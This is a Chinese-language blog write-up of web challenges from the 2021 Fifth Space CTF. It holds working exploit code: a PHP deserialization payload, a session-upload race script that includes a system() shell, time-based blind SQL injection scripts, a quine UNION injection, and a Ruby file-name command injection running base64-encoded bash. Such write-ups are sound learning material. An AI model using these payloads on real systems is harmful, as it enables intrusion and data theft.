2021第五空间大赛

前言

比赛的时候一直纠结那题sql注入,后面赛后复现其他题目悔不当初,题目都不会太难吧

pklovecloud

<?php  
include 'flag.php';
class pkshow
{
function echo_name()
{
return "Pk very safe^.^";
}
}

class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new pkshow;
}
function __toString()
{
if (isset($this->cinder))
return $this->cinder->echo_name();
}
}

class ace
{
public $filename;
public $openstack;
public $docker;
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}
}

if (isset($_GET['pks']))
{
$logData = unserialize($_GET['pks']);
echo $logData;
}
else
{
highlight_file(__file__);
}
?>

构造一下链条

<?php

class acp
{
public $cinder;
public $neutron="1";
public $nova="1";
function __construct()
{
$this->cinder = new pkshow;
}
function __toString()
{
if (isset($this->cinder))
return $this->cinder->echo_name();
}
}

class ace
{
public $filename;
public $openstack;
public $docker;
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}
}
$a=new acp();
$b=new ace();
$b->filename="flag.php";
$a->cinder=$b;
echo urlencode(serialize($a));
O%3A3%3A"acp"%3A3%3A%7Bs%3A6%3A"cinder"%3BO%3A3%3A"ace"%3A3%3A%7Bs%3A8%3A"filename"%3Bs%3A8%3A"flag.php"%3Bs%3A9%3A"openstack"%3BN%3Bs%3A6%3A"docker"%3BN%3B%7Ds%3A7%3A"neutron"%3Bs%3A1%3A"1"%3Bs%3A4%3A"nova"%3Bs%3A1%3A"1"%3B%7D

img

WebFTP

目录扫描,拿到源码,然后使用index.php里面的文件进行登录,发现报错,不知道有没有用,先收集一下

Warning: error_log(/var/www/html/Data/Logs/21_09_17.log): failed to open stream: No such file or directory in /var/www/html/Inc/Functions.php on line 229

发现都没啥用,但是发现可以下载配置文件,于是就对照拿到的源码去翻翻看

http://114.115.185.167:32770/Readme/mytz.php?act=phpinfo

发现可以执行phpinfo,接下来就拿到flag了
img

EasyCleanup

 <?php

if(!isset($_GET['mode'])){
highlight_file(__file__);
}else if($_GET['mode'] == "eval"){
$shell = $_GET['shell'] ?? 'phpinfo();';
if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker");
eval($shell);
}


if(isset($_GET['file'])){
if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker");
include $_GET['file'];
}


function filter($var): bool{
$banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"];

foreach($banned as $ban){
if(strstr($var, $ban)) return True;
}

return False;
}

function checkNums($var): bool{
$alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$cnt = 0;
for($i = 0; $i < strlen($alphanum); $i++){
for($j = 0; $j < strlen($var); $j++){
if($var[$j] == $alphanum[$i]){
$cnt += 1;
if($cnt > 8) return True;
}
}
}
return False;
}

?>

查看一下phpinfo()内容

?mode=eval&shell=phpinfo();

刚刚注意到有文件包含操作,发现session这里开启了,
img

然后写脚本包含以下就出来了~

import requests
import threading
sess_id="1"
s=requests.session()
url="http://114.115.134.72:32770/"
def session_upload():
while True:
res= s.post(
url=f"{url}/?page=/tmp/session/sess_{sess_id}",
data={
'PHP_SESSION_UPLOAD_PROGRESS': "<?php system('ls');?>"
},
files={"file": ('xxx.txt', open("shell.txt", "r"))},
cookies={'PHPSESSID':sess_id}
)
for i in range(100):
thread=threading.Thread(target=session_upload)
thread.start()

img

yet_another_mysql_injection

最后一题,一开始看了一下源码,要登录

<?php
include_once("lib.php");
function alertMes($mes,$url){
die("<script>alert('{$mes}');location.href='{$url}';</script>");
}

function checkSql($s) {
if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
alertMes('hacker', 'index.php');
}
}

if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
$username=$_POST['username'];
$password=$_POST['password'];
if ($username !== 'admin') {
alertMes('only admin can login', 'index.php');
}
checkSql($password);
$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);
if (!$row) {
alertMes("something wrong",'index.php');
}
if ($row['password'] === $password) {
die($FLAG);
} else {
alertMes("wrong password",'index.php');
}
}

if(isset($_GET['source'])){
show_source(__FILE__);
die;
}
?>

一开始看了一下以为是要登录,所以就写了个脚本盲注

import requests
import time
import binascii
url="http://114.115.143.25:32770"
s=requests.session()
def hex_tran(s):
return hex(s).replace("0x", "")
def tran_str(g):
tran_tmp=""
g = binascii.unhexlify(g)
print(g.decode('utf-8'))
tran_tmp=g
print(tran_tmp[::-1])
return tran_tmp


def sql_injection(payload:str):
wd_tr=""
for j in range(1,100):
for i in range(32,128):
#payload_fina=f"1'or/**/case/**/(select/**/hex(right(({payload}),{j}))/**/in/**/('{hex_tran(i)+wd_tr}'))/**/when/**/1/**/then/**/benchmark(100000,sha1(sha1(sha1(sha1(sha1(sha1(sha1('HWG'))))))))/**/else/**/1/**/end#"
payload_fina =f"1'or/**/case/**/(select/**/ascii(mid(({payload}),{j},1)))/**/when/**/({i})/**/then/**/benchmark(1000000,sha1(sha1(sha1(sha1(sha1(sha1(sha1(sha1(sha1(sha1('HWG')))))))))))/**/else/**/1/**/end#"
data={
"username":"admin",
"password":payload_fina
}
print(data)
times=time.time()
r=s.post(url,data=data).text
print(r)
if time.time()-times >= 7:
wd_tr+=chr(i)
print(wd_tr)
break
if i==127:
print(wd_tr)
exit(0)




if __name__ =="__main__":
payload="version()"
#payload="database()"
#payload="select group_concat(table_name) from information_schema.tables where table_schema in (select database())".replace(" ","/**/")
#payload="select group_concat(table_name) from sys.schema_table_statistics".replace(" ","/**/")
#payload="select group_concat(a.2) from (select 1,2,3 union select * from `users`)a".replace(" ","/**/")
#payload="select group_concat(column_name) from information_schema.columns where table_name in ('Fl49ish3re')".replace(" ","/**/")
#payload="select group_concat(f1aG123) from Fl49ish3re".replace(" ","/**/")
sql_injection(payload)

注出来以后,发现数据库是空的,卡了很久,后来才想到,数据库为空,又要让我们输入的内容和输出的内容一致的话,就需要自己构造一下

'/**/UNION/**/SELECT/**/REPLACE(REPLACE('"/**/UNION/**/SELECT/**/REPLACE(REPLACE("^",unhex(hex(34)),unhex(hex(39))),unhex(hex(94)),"^")#',unhex(hex(34)),unhex(hex(39))),unhex(hex(94)),'"/**/UNION/**/SELECT/**/REPLACE(REPLACE("^",unhex(hex(34)),unhex(hex(39))),unhex(hex(94)),"^")#')#

大师傅跟我说,遇到这种题目,其实可以这样尝试一波:
在后面注入password like “%” 因为如果数据库有数据,那么任何数据like %都是满足的,如果依然返回false,说明数据库是空的img
当然首先是你的用户名是正确的

png转换器

看了一下框架是ruby,这个时候应该用排除法,肯定不是文件上传,因为无法访问到图片,接下就是convert png file的框,这里又有什么情况可能呢?
ssti注入,命令执行,似乎也无了,ssti注入没地方回显,所以肯定也不是,这里就学到一个新姿势

file=|bash -c "$(echo 'bHMgLw==' | base64 -d)" #.png
cat /FLA9_KywXAv78LbopbpBDuWsm
file=|bash -c "$(echo 'Y2F0IC9GTEE5X0t5d1hBdjc4TGJvcGJwQkR1V3Nt' | base64 -d)" #.png

这个就是ruby命令执行的姿势了,将命令执行的结果以base64的方式存储在png中

Author

vague huang

Posted on

2021-09-17

Updated on

2021-09-26

Licensed under

Comments